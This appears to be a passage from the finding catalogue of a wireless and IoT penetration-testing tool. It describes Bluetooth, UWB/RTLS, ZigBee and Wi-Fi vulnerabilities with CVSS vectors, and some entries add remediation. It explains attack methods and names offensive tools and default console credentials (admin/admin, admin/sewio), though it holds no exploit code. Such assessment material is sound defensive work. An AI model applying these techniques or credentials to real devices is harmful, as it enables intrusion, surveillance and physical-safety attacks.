Description: One or more GATT characteristics support the Write Without Response (ATT_WRITE_CMD) operation without requiring an authenticated or encrypted connection. This allows any BLE device within range to send arbitrary command payloads to the target without authentication. Depending on the characteristic function, this may enable: device configuration modification, command injection into actuator logic, firmware update initiation, or denial-of-service via malformed payloads. Write Without Response is particularly dangerous because the central receives no ATT error response, making attack packets harder to detect.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
INFO AETHB-008 — BlueToolkit CVE Exploitation — Remote Code Execution via Known Bluetooth Stack CVE
Description: The target Bluetooth device is running a firmware or Bluetooth stack version affected by one or more publicly known CVEs for which proof-of-concept exploits are available in the BlueToolkit framework. BlueToolkit consolidates exploit implementations for vulnerabilities including BlueBorne (CVE-2017-0785, CVE-2017-0781), BLESA, SweynTooth, and related Bluetooth/BLE stack vulnerabilities. Exploitation may result in remote code execution, memory corruption, or full device takeover without any user interaction or prior pairing.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
INFO AETHB-009 — SDP Information Disclosure — Service Discovery Leaks Internal Service Information
Description: The Bluetooth Service Discovery Protocol (SDP) on the target device responds to unauthenticated browse requests with detailed service records. The exposed records may include: internal service names and descriptions, protocol stack versions, RFCOMM channel assignments, OBEX service availability, PAN/NAP profile configuration, and device role information. This information assists attackers in identifying further attack surface, fingerprinting the device type and firmware version, and planning targeted exploitation of specific Bluetooth profiles.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHB-010 — Bluetooth Eavesdropping — Passive Capture of Unencrypted BR/EDR Traffic
Description: Bluetooth Classic (BR/EDR) traffic between the target and one or more paired devices was observed in cleartext or with a known/recoverable session key. Using an Ubertooth One or similar hardware sniffer, an attacker within radio range can capture BR/EDR ACL and SCO frames. If the encryption key was negotiated with reduced entropy (see KNOB, AETHB-001) or a captured pairing exchange reveals the link key, all historical and future sessions can be decrypted. Sensitive data exposed may include: RFCOMM serial data, HFP audio streams, A2DP audio, OBEX file transfers, and HID input events.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHB-011 — BLE Beacon Tracking — Static MAC Address Enables Persistent Device Tracking
Description: The target BLE device broadcasts advertising packets containing a static or non-rotating public MAC address, allowing any passive observer within radio range to persistently track the device's presence and movements over time. BLE devices are required by the specification to support random address rotation to prevent tracking; however, many IoT devices use fixed public addresses for simplicity or compatibility reasons. An attacker can build a timeline of device appearances at multiple locations using commercially available BLE scanning hardware, enabling physical surveillance of device owners.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHB-012 — Insecure BLE Pairing Mode — Just Works Pairing with No Authentication
Description: The target BLE device accepts pairing using the Just Works association model, which provides no protection against man-in-the-middle attacks. In Just Works pairing, both devices compute a shared secret without any out-of-band or in-band confirmation that the correct peer is being paired. An attacker positioned between the two devices during the pairing event can silently intercept and relay the SMP exchange, completing the pairing with both devices and establishing themselves as a transparent MITM relay. The resulting bonded keys are then known to the attacker, enabling persistent session decryption.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
INFO AETHB-013 — GATTacker MITM — BLE Man-in-the-Middle via Device Cloning
Description: The target BLE device is susceptible to a man-in-the-middle attack using GATTacker, a tool that clones the GATT service and characteristic profile of the target and presents a spoofed advertising identity to the legitimate central device. When the central connects to the rogue peripheral (which mirrors all GATT reads/writes to the real target), the attacker observes and may modify all BLE application traffic in transit. Attack prerequisites include: the target uses Just Works or no pairing (AETHB-012), or the attacker was present during initial pairing to capture keys. The attacker can read sensitive characteristics, inject writes, and replay or modify commands without detection.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-014 — Bluetooth Denial of Service — ACL/SCO Flooding Causing Device Disconnect
Description: The target Bluetooth device is susceptible to denial-of-service via rapid ACL connection request flooding, malformed SCO packet injection, or L2CAP/RFCOMM protocol fuzzing. Sustained flooding of connection requests from spoofed source addresses exhausts the device's connection table, preventing legitimate devices from connecting. In some firmware implementations, receipt of malformed packets at the HCI or L2CAP layer causes device reset or service crash. Testing was conducted only after explicit authorization (dos_authorized=true in configuration).
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
INFO AETHB-015 — Firmware Extraction via JTAG/SWD — Physical Firmware Dump
Description: The target Bluetooth device exposes an unprotected JTAG or SWD debug interface on the PCB that allows extraction of the full firmware image using OpenOCD and a hardware debug probe. The extracted firmware can be reverse-engineered to recover: hardcoded Bluetooth link keys or LTKs, Wi-Fi/BLE credentials stored in flash, cryptographic secrets used for application-layer authentication, and intellectual property in the firmware binary. Debug port access was not locked via JTAG fuses or access port protection (APProtect/RDPROT). Testing was conducted only with physical_access=true in configuration and explicit written authorization.
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
INFO AETHU-001 — Ghost Peak Distance Reduction Attack
Description: The Ghost Peak attack is a physical-layer distance reduction attack targeting IEEE 802.15.4z HRP UWB ranging. An attacker positioned within RF range injects an early leading pulse into the Two-Way Ranging (TWR) exchange, causing the victim receiver to latch onto the injected pulse rather than the authentic signal, thereby reporting a measured distance significantly shorter than the true physical separation. This attack succeeds without breaking any cryptographic mechanism and was demonstrated to work against DW1000 and DW3000 chip families in published research from 2022. Affected systems include Apple AirTag-like access control implementations, automotive CCC Digital Key systems, and any RTLS deploying HRP UWB without pulse-shape authentication. The consequence is that physical access controls relying on UWB proximity can be bypassed entirely — for example, a vehicle keyless entry system can be unlocked from tens of meters away while the chip reports centimetre-level proximity.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-002 — RTLS Management Console Default Credentials
Description: The RTLS management console (Sewio RTLS Studio, Pozyx Creator, or equivalent) is accessible with factory-default credentials such as admin/admin, admin/sewio, or admin/pozyx. Default credentials are frequently left unchanged during deployment as operators rely on network segmentation rather than strong authentication. An unauthenticated remote attacker who can reach the management interface over the network gains full administrative control of the RTLS infrastructure, including the ability to modify anchor configurations, alter zone boundaries, extract all tracked position data, and inject false location records. This vulnerability has a trivially low attack complexity and requires no prior knowledge of the target environment beyond the platform type.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
INFO AETHU-003 — Unauthenticated MQTT Broker
Description: The MQTT broker used by the RTLS platform accepts connections on TCP port 1883 without requiring a username or password, exposing a full publish/subscribe channel to any network-accessible client. Real-time position data for all tracked tags — including tag IDs, X/Y/Z coordinates, zone assignments, velocity vectors, and floor-plan identifiers — is streamed continuously over unauthenticated MQTT topics. An attacker who connects to the broker gains complete visibility into the physical location of every tracked person or asset in real time, enabling surveillance, operational intelligence gathering, and targeted physical attacks. Additionally, unauthenticated write access to the broker allows injection of fabricated position updates that will be consumed by downstream business applications.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-004 — RTLS Position Data Injection via MQTT
Description: When the MQTT broker lacks authentication (or when credentials are weak and obtainable), an attacker can publish arbitrary JSON position payloads to RTLS position topics, causing the RTLS engine to process and display fabricated location data as if it originated from legitimate anchors. This allows an attacker to teleport tracked tags to arbitrary zones, trigger false zone-entry or zone-exit alarms, suppress the displayed location of real tags by flooding with conflicting updates, and manipulate safety-critical zone occupancy decisions in industrial or healthcare environments. If the RTLS feeds a physical access control system or a hazardous zone safety interlock, injected positions can result in direct safety consequences.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
INFO AETHU-005 — SQL Injection in RTLS Reporting Module
Description: The RTLS web platform contains SQL injection vulnerabilities in reporting and analytics endpoints where user-supplied parameters (date ranges, tag IDs, zone names, report filters) are interpolated directly into database queries without parameterisation or sanitisation. An authenticated attacker with low-privilege access to the reporting interface can extract the full database including historical position data, user credentials, API tokens, and configuration secrets via UNION-based or blind SQL injection. In environments where the RTLS database account has file-system privileges, the attacker may read operating system files or write web shells to achieve remote code execution on the database server.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-006 — Unauthenticated RTLS REST API Endpoints
Description: Multiple REST API endpoints in the RTLS management platform are accessible without any authentication token or session cookie. Unauthenticated callers can enumerate all anchor hardware configurations (including firmware versions and network addressing), retrieve full tag inventories with their last known positions, and query zone boundary definitions and floor-plan metadata. This information directly enables further attacks by revealing the physical layout of the tracked environment, identifying anchor IPs and firmware versions susceptible to known CVEs, and confirming the topology of the UWB infrastructure prior to a targeted attack.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-007 — UWB STS Key Weakness
Description: The Scrambled Timestamp Sequence (STS) used by IEEE 802.15.4z HRP UWB to authenticate ranging frames is derived from a session-level key that may be poorly seeded, statically configured, or exposed via the RTLS management API. When the STS key derivation is weak — for example, using a predictable seed derived from the tag EUI-64 or a static factory-provisioned value — an attacker who captures sufficient ranging exchanges can recover the STS key and forge authenticated ranging responses, making the distance-reduction attack resilient even against platforms that believe STS provides full protection. This finding applies to firmware versions that implement STS key management outside the secure element, or that expose STS configuration parameters over the RTLS API.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-008 — Cleartext UWB Ranging Exchange
Description: UWB ranging frames (Poll, Response, Final) are transmitted in IEEE 802.15.4z SP0 mode without STS or payload encryption, making the full ranging exchange observable to any attacker with appropriate RF hardware within range. Captured frames reveal tag and anchor EUI-64 addresses, sequence numbers, timing fields, and any application payload appended to the ranging frame. This exposure enables an attacker to map the UWB topology, identify specific tags of interest (such as those carried by executive personnel or used for vehicle access), build a model of normal ranging behaviour for replay or manipulation attacks, and correlate UWB addresses with physical identity if the RTLS system maps tag IDs to personnel records.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-009 — RTLS Anchor Firmware Update Without Signature Verification
Description: The RTLS anchor firmware update mechanism accepts firmware images submitted via the management API or a dedicated OTA update endpoint without cryptographically verifying the image signature against a vendor-controlled public key. An attacker with network access to the RTLS management interface and low-privilege credentials (or no credentials if the API is unauthenticated) can submit a crafted firmware image to any or all anchors, replacing the legitimate firmware with a malicious version that modifies ranging behaviour, exfiltrates UWB frame data, disrupts positioning, or establishes persistent backdoor access to anchor hardware. Because anchors run continuously and are often physically inaccessible, compromised firmware may persist undetected for extended periods.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
INFO AETHU-010 — MQTT Cleartext Credential Transmission
Description: MQTT clients connecting to the RTLS broker transmit credentials (username and password) in cleartext over TCP port 1883 without TLS encryption. Any attacker with the ability to perform network interception — via ARP spoofing, a compromised network switch, or proximity to a wireless access point carrying the RTLS traffic — can capture CONNECT packets and extract credentials in plaintext using standard tools such as Wireshark or tshark. Captured credentials can be replayed to gain authenticated access to the MQTT broker, or may be tested against other services if credential reuse is present across the RTLS platform.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-011 — RTLS Zone Boundary Bypass
Description: By combining the Ghost Peak distance reduction technique (AETHU-001) with knowledge of zone boundary geometry extracted from the RTLS management API (AETHU-006), an attacker can manipulate the measured distances between a tag and surrounding anchors in a coordinated manner such that the RTLS location engine calculates a tag position inside an authorised zone while the tag carrier is physically located outside of it. This zone spoofing attack allows an attacker to trigger zone-entry events without physical presence in the zone, bypass zone-based access control logic (e.g., automated door unlocking triggered by zone occupancy), and disable zone-exit alerts for personnel who have physically departed a restricted area.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
INFO AETHU-012 — Anchor RF Flooding / Denial of Service
Description: The UWB channel used by the RTLS anchors can be saturated with high-rate UWB pulse transmissions from an attacker-controlled RF source (e.g., a custom firmware DWM3000EVB or SDR with UWB frontend), preventing legitimate ranging exchanges from completing and causing the RTLS system to lose position data for all tags within the affected coverage area. During a DoS condition the RTLS engine reports tags as lost or stationary at their last known position, which can disable safety alarms, automated zone logic, and personnel tracking. This finding requires physical proximity to the target environment and the use of appropriate RF transmission equipment. NOTE: This test requires explicit dos_authorized=true in the configuration and appropriate RF authorisation from the client.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
INFO AETHU-013 — RTLS Cross-Site Scripting (XSS) in Dashboard
Description: The RTLS web dashboard reflects tag label values and custom metadata fields into the HTML page without adequate output encoding, enabling stored cross-site scripting attacks. An attacker who can write a tag label (via the management API or by injecting data through the MQTT broker) can insert a malicious script payload that executes in the browser of any RTLS operator who views the dashboard or tag detail page. Successful XSS enables session cookie theft, credential harvesting via overlay login forms, lateral movement to other web applications accessible from the operator's browser, and persistent dashboard manipulation that misleads operators about system state.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
INFO AETHU-014 — Insecure Direct Object Reference in RTLS API
Description: The RTLS REST API uses sequential integer or predictable UUID identifiers for sensor records, tags, and user accounts, and does not enforce ownership or role checks when these identifiers are accessed by authenticated but low-privilege users. An attacker with any valid API credential can iterate over sensor IDs, tag IDs, and user profile IDs to retrieve configuration and location data belonging to other RTLS users or system components. In multi-tenant RTLS deployments this constitutes a cross-tenant data breach; in single-tenant deployments it allows a low-privilege operator to access administrator-level sensor configurations and historical position records without the required privilege level.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
INFO AETHU-015 — Physical UWB Frame Injection
Description: An attacker with physical access to the RF environment and an RF injection-capable device (e.g., a second DWM3000EVB with custom firmware, or a Software Defined Radio with UWB-capable frontend) can transmit forged IEEE 802.15.4z frames that impersonate legitimate anchors, injecting false ranging responses into the Two-Way Ranging exchange. When the RTLS engine processes ranging results that include injected forged anchor responses alongside legitimate ones, the trilateration calculation produces a position estimate displaced from the tag's true location. This attack can be used to systematically move perceived tag positions into or out of authorised zones, generate false alarms, or mask the movement of assets through restricted areas. This finding requires physical_access and injection_authorized to be enabled in the configuration. NOTE: Full execution requires specialised hardware operating under explicit RF testing authorisation.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
INFO AETHZ-001 — ZigBee Network Key Recovered via Join Intercept
Description: Network encryption key intercepted during device join event, enabling full traffic decryption and authenticated injection. The ZigBee trust center transmitted the network key using the default or known Trust Center Link Key (TCLK), allowing passive interception of the key transport frame. An attacker with this key can decrypt all past captured traffic and inject authenticated ZCL commands.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-002 — Default Trust Center Link Key (TCLK) in Use
Description: ZigBeeAlliance09 well-known TCLK is in use. Any attacker within RF range can decrypt the key transport frame sent during device join, recover the active network key, and then decrypt all network traffic or inject authenticated commands. This well-known key is published in the ZigBee specification and is widely available.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-003 — ZigBee Network Key in Plaintext Configuration
Description: Network key found in plaintext in Zigbee2MQTT or gateway configuration file. Any user or process with read access to the gateway host filesystem can extract the key and use it to decrypt all ZigBee traffic or inject authenticated commands. Plaintext key storage in configuration files is a common misconfiguration in home-automation deployments.
CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-004 — ZigBee Replay Attack Successful
Description: Replayed ZCL command frames accepted by target device. Frame counter validation is not enforced or the acceptance window is excessively wide. An attacker can capture authenticated ZCL commands (e.g., door unlock, alarm disarm) and replay them at will, bypassing the encryption layer because the MIC is valid for the replayed frame.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
INFO AETHZ-005 — ZCL Command Injection Successful
Description: Authenticated ZCL commands injected using recovered network key. Security-sensitive commands including door lock, alarm disarm, and thermostat override were accepted by target devices. The attacker constructed valid encrypted and authenticated ZCL frames using the recovered network key, bypassing all network-layer security controls.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
INFO AETHZ-006 — ZLL Touchlink Device Stolen
Description: Target ZigBee Light Link device stolen and joined to an attacker-controlled network using the leaked ZLL Master Key. The ZLL Master Key was published in the ZigBee Light Link specification and allows any party to perform touchlink commissioning against any ZLL device within close RF proximity, effectively stealing devices from their production network without requiring the original network key.
CVSS Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-007 — ZLL Touchlink Factory Reset Successful
Description: ZLL touchlink factory reset command was accepted by the target device, removing it from its production network. This constitutes an effective denial-of-service: the device can no longer communicate with its coordinator and requires manual re-commissioning. The attack requires only close physical proximity (approximately 10–30 cm) and knowledge of the ZLL protocol.
CVSS Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
INFO AETHZ-008 — ZigBee Network Denial-of-Service Successful
Description: ZigBee network disrupted via PAN-ID conflict flood or association flood. Devices were disconnected from the network or unable to communicate for the duration of the attack. The PAN-ID conflict flood causes the coordinator to change PAN ID, forcing all devices to re-associate. The association flood exhausts the coordinator's association table, preventing legitimate devices from joining.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
INFO AETHZ-009 — ZigBee Network Key Extracted from Device Firmware
Description: Network or link key material extracted from ZigBee device firmware via JTAG debug interface or direct flash memory dump. The key was stored unprotected in flash memory and was recoverable using standard hardware security research tools. A physical attacker can extract this key and use it to compromise all network communications.
CVSS Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-010 — ZigBee Join Window Permanently Open
Description: The ZigBee coordinator's join permission window is permanently open, allowing any device to join the network at any time. Combined with use of the default TCLK, this allows an attacker to join the network, receive the network key, and then silently monitor or inject traffic. A permanently-open join window is a common misconfiguration in Zigbee2MQTT and other open-source coordinator software.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-011 — Unauthenticated ZDO Enumeration
Description: ZigBee Device Object (ZDO) enumeration reveals all endpoints, clusters, and device capabilities without requiring the ZigBee network key. ZDO requests operate at the network layer and some coordinators respond to unauthenticated ZDO queries, exposing the network topology, device types, supported clusters, and manufacturer information. This information aids targeted attack planning.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHZ-012 — Hardcoded ZigBee Credentials in Device Firmware
Description: Hardcoded network key or link key found in device firmware binary via static analysis. The key is identical across all devices of this model. Any attacker who obtains a firmware image (via OTA update interception, vendor leak, or hardware extraction) can extract the key and use it to compromise all deployments of the same device model worldwide.
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHZ-013 — OTA Firmware Update Not Authenticated
Description: Over-the-air firmware updates are accepted by the target device without cryptographic signature verification. An attacker with access to the ZigBee network (via recovered network key) can serve a malicious firmware image via the ZigBee OTA Upgrade cluster, replacing the device firmware with attacker-controlled code.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
INFO AETHZ-014 — ZigBee Protocol Fuzzing Induced Device Crash
Description: Malformed ZigBee protocol frames caused the target device to crash or become unresponsive. Fuzzing of IEEE 802.15.4 MAC headers, ZigBee NWK headers, and ZCL payload fields identified inputs that trigger NULL dereferences or assertion failures in the device firmware. Affected devices required a power cycle to recover.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
INFO AETHZ-015 — ZLL Master Key Deployment Detected
Description: Target network uses ZigBee Light Link (ZLL) with the publicly-leaked ZLL Master Key, exposing all touchlink commissioning operations. The ZLL Master Key was disclosed in the publicly-available ZigBee Light Link specification and allows any attacker to derive the per-network encryption key used during touchlink, enabling device theft and factory reset attacks against all ZLL devices on the network.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CRITICAL AETHER-001 — WPA Pre-Shared Key Cracked
Description: wifite2 successfully recovered the WPA/WPA2/WPA3 pre-shared key (PSK) for the target SSID via offline dictionary attack against a captured 4-way handshake or PMKID. An attacker with this key can decrypt all past and future traffic on the network (unless PMF/forward secrecy is enforced) and authenticate as a legitimate client.
Remediation: Replace the PSK with a strong random passphrase of at least 20 characters that does not appear in any common wordlist. Enforce WPA3-SAE where hardware supports it. Rotate the PSK immediately and audit which devices have stored it. Consider migrating to WPA3-Enterprise with certificate-based authentication for environments requiring stronger security.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
HIGH AETHER-002 — WPA Handshake Captured
Description: A complete WPA/WPA2 4-way handshake or PMKID was captured for the target SSID. While the PSK has not yet been recovered, the captured material can be subjected to unlimited offline brute-force or dictionary attacks without further access to the network. The handshake was obtained via deauthentication of a connected client or passive PMKID capture.
Remediation: Change the WPA/WPA2 PSK to a strong, unique passphrase not present in public wordlists. Enable WPA3-SAE to replace the 4-way handshake authentication exchange with a forward-secret SAE commit/confirm protocol that is resistant to offline attacks. If WPA3 is not available, enforce a minimum passphrase length of 20+ characters drawn from a high-entropy random source.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
CRITICAL AETHER-003 — WPA-Enterprise Credentials Captured
Description: EAPHammer deployed a rogue AP that successfully impersonated the target WPA-Enterprise network, downgrades the 802.1X EAP exchange, and captured an MSCHAPv2 challenge/response or NTLM hash from an authenticating client. These hashes can be cracked offline or used directly in pass-the-hash attacks to authenticate to internal Windows/Active Directory resources.
Remediation: Deploy client-side certificate validation to prevent clients from connecting to rogue APs: configure the supplicant to validate the RADIUS server certificate against a pinned CA certificate and reject connections when the certificate does not match. Disable weaker EAP methods (PEAP/MSCHAPv2, EAP-MD5) in favour of EAP-TLS with mutual certificate authentication. Train users not to dismiss certificate warnings.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
HIGH AETHER-004 — WPA3 SAE Dragonblood — Invalid Curve Attack Confirmed
Description: The target WPA3 SAE implementation accepted an invalid elliptic-curve point during the SAE Commit exchange (attack mode 1 — invalid curve). This is a variant of the Dragonblood vulnerability class disclosed by Mathy Vanhoef and Eyal Ronen. Exploitation allows an active attacker to trick the AP into performing computations on a weak curve, potentially leaking the password encoding and enabling offline dictionary attacks against WPA3 networks that were intended to be resistant to such attacks.
Remediation: Apply firmware updates from the AP vendor that address CVE-2019-9494 and CVE-2019-9495. Ensure the WPA3 implementation validates that received curve points lie on the correct curve (point validation) before performing any SAE computations. Where firmware updates are unavailable, disable WPA3-SAE and use WPA2-Enterprise with EAP-TLS as a mitigation.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-005 — WPA3 SAE Dragonblood — Reflection Attack Confirmed
Description: The target WPA3 SAE implementation is vulnerable to the SAE reflection attack (attack mode 0). By reflecting the AP's own SAE Commit message back to it, the attacking station tricks the AP into deriving the same PWE (Password Element), which can be used to authenticate without knowing the actual PSK under certain conditions. This is part of the Dragonblood vulnerability class (CVE-2019-9494).
Remediation: Apply vendor firmware updates addressing CVE-2019-9494. The fix requires the AP to reject SAE Commit messages whose scalar and element fields match values it previously sent. Upgrade to a patched hostapd/wpa_supplicant version (2.10+).
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-006 — WPA3 SAE Dragonblood — Secondary Invalid Curve Attack Confirmed
Description: The target WPA3 SAE implementation is vulnerable to a secondary invalid curve attack variant (attack mode 2). This variant exploits the same class of point-validation weakness as CVE-2019-9495 but uses a different curve parameter manipulation technique, demonstrating that the AP's SAE implementation does not adequately validate curve points across multiple attack vectors.
Remediation: Apply firmware updates that fully remediate CVE-2019-9495 across all SAE Commit handling code paths. Ensure the patched implementation performs explicit point validation on all received group elements before use in PWE derivation. Verify remediation by re-running dragonslayer attack modes 1 and 2.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-007 — WPA3 SAE Dragonblood — Zero-Scalar Attack Confirmed
Description: The target WPA3 SAE implementation accepted a SAE Commit message with a zero scalar value (attack mode 3). Sending a scalar of zero forces the resulting shared key to be zero or a trivially predictable value, potentially allowing an attacker to authenticate without the actual PSK. This is a variant of the Dragonblood flaw class (CVE-2019-9500–9502).
Remediation: Apply vendor firmware updates addressing CVE-2019-9500 through CVE-2019-9502. The AP must validate that received scalar values are within the valid range (1 ≤ scalar < order) and reject any Commit message with a scalar of zero or order.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MEDIUM AETHER-008 — WPA3 SAE Resource Exhaustion (Dragondrain) Tested
Description: The target AP was subjected to the Dragondrain SAE commit-flooding attack (CVE-2019-9496). The AP was flooded with forged SAE Commit messages using spoofed source MAC addresses at high rate, targeting curve group 21 (521-bit elliptic). If the AP does not implement anti-clogging tokens or rate limiting, this causes CPU exhaustion and potential denial of service affecting legitimate clients.
Remediation: Apply firmware updates that implement SAE anti-clogging (as specified in IEEE 802.11-2020 Section 12.4.6). Anti-clogging tokens force clients to echo a token before the AP performs expensive elliptic-curve computations, preventing CPU exhaustion. Also enable rate limiting on SAE Commit frames per source MAC address. Update to hostapd 2.10+ which includes anti-clogging support.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
HIGH AETHER-009 — WPA2 KRACK Vulnerability — Standard 4-Way Handshake Reinstallation
Description: The target client or AP is vulnerable to the KRACK key reinstallation attack targeting the standard 4-way handshake (CVE-2017-13077). By replaying and manipulating handshake message 3, an attacker can cause the client to reinstall an already-in-use pairwise transient key (PTK), resetting its associated nonce and replay counters. This allows the attacker to replay, decrypt, and potentially forge 802.11 frames.
Remediation: Apply OS and driver security updates for all wireless clients that address CVE-2017-13077. On the AP side, apply firmware updates that prevent retransmission of handshake message 3 after the key has already been installed. For Android (especially 6.0), this vulnerability resulted in all-zero key reinstallation; priority patch Android devices. Verify remediation with the krackattacks test scripts.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-010 — WPA2 KRACK Vulnerability — TPTK Variant
Description: The target is vulnerable to the KRACK Temporal PTK (TPTK) variant (CVE-2017-13078). This variant exploits the handling of message 1 of the 4-way handshake to cause nonce reuse in the PTK re-derivation process. The attacker can trigger a PTK reinstallation by injecting a retransmitted handshake message 1 with a replayed ANonce, forcing the client to reinstall an already-used key.
Remediation: Apply security patches addressing CVE-2017-13078 for all affected wireless clients and APs. Ensure the supplicant implementation validates that new handshake sessions use fresh ANonces and that reinstallation of previously installed PTKs is prevented. Review and patch all wpa_supplicant and hostapd deployments to version 2.7+.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-011 — WPA2 KRACK Vulnerability — Group Key Reinstallation
Description: The target is vulnerable to KRACK group key reinstallation (CVE-2017-13080). By replaying group key handshake message 1, an attacker can cause the client to reinstall an already-in-use group temporal key (GTK) with a reset replay counter. This allows the attacker to replay broadcast and multicast frames, which can be leveraged to inject ARP spoofing packets or perform other layer-2 attacks against all clients on the network.
Remediation: Apply patches addressing CVE-2017-13080 for all wireless clients. The fix requires the supplicant to check whether the GTK being installed was already installed with the same key ID, and to reject reinstallation. Additionally, disable GTK rekeying on affected APs as a temporary mitigation until client patches are applied. Upgrade to wpa_supplicant 2.7+.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-012 — WEP Encryption in Use
Description: The target network uses WEP (Wired Equivalent Privacy), which has been cryptographically broken since 2001 (CVE-2001-0309). The RC4 stream cipher reuses 24-bit initialisation vectors (IVs), allowing the FMS, KoreK, and PTW statistical attacks to recover any WEP key from roughly 50 000 captured frames — achievable in under a minute on an active network. An attacker within radio range can decrypt all traffic and authenticate as a legitimate station. WEP was deprecated by IEEE 802.11i in 2004 and formally withdrawn. No patch exists; the protocol must be replaced.
Remediation: Immediately replace WEP with WPA3-Personal (SAE) or at minimum WPA2-Personal (CCMP/AES). WEP cannot be patched — upgrade the AP firmware or replace the device. Segment any WEP-only legacy devices onto an isolated VLAN with no access to sensitive resources until they can be replaced.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CRITICAL AETHER-013 — WEP Key Cracked
Description: aircrack-ng recovered the WEP key using the PTW statistical attack against collected IVs. With the key an attacker can decrypt all past and future traffic in real time, inject arbitrary 802.11 frames, and authenticate as a legitimate station. The network must be treated as fully compromised. All credentials, session tokens, and data transmitted over this network must be assumed captured by an adversary.
Remediation: Treat the network as compromised. Replace WEP with WPA3-Personal immediately. Rotate all credentials used on devices that connected to this network. Review logs for unauthorised access since the network was deployed. Notify affected users. Replace hardware that cannot support WPA2.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MEDIUM AETHER-014 — Open / Unencrypted Wireless Network
Description: The target network operates without wireless encryption (open authentication, no WEP/WPA). All data is transmitted in cleartext and can be captured passively by any device within radio range. HTTP sessions, credentials, emails, DNS queries, and file transfers are fully exposed without any evidence of interception.
